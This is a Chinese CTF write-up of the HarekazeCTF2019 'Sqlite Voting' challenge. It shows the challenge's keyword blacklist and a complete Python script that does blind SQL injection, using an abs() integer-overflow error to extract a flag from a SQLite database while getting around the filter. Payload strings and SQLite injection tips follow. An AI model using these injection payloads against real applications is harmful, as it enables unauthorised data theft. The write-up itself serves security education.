刷题记录:[HarekazeCTF2019]Sqlite Voting
题目复现链接:https://buuoj.cn/challenges
参考链接:https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-350-sqlite-voting
针对sqlite的sql注入
首先题目的过滤
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
当update查询成功时,返回An error occurred while updating database
,否则返回An error occurred while updating database
,可以通过构造报错进行bool注入
而sqlite中
如果X是整数-9223372036854775808,则abs(X)引发整数溢出错误
exp如下
# coding: utf-8
import binascii
import requests
URL = 'http://850da0af-6028-4221-976b-c35e2d351a5a.node3.buuoj.cn/vote.php'
# フラグの長さを特定
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
# A-F のテーブルを作成
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
获取flag长度的payload为abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)
不能用=
的情况下,用&
代替
盲注出flag的payload为abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)
基本原理是用replace将已知的flag部分替换为空,通过长度变化与否一位一位爆出来
$ sqlite3
︙
sqlite> create table flag (flag text);
sqlite> insert into flag values ('HarekazeCTF{test}');
sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag;
17
︙
sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag;
4
sqlite常规注入
sqlite有一张系统表sqlite_master
,其中两个字段name
,sql
分别是所有表的表名,和表的结构(包括列名)
sqlite中没有ascii
,用unicode
代替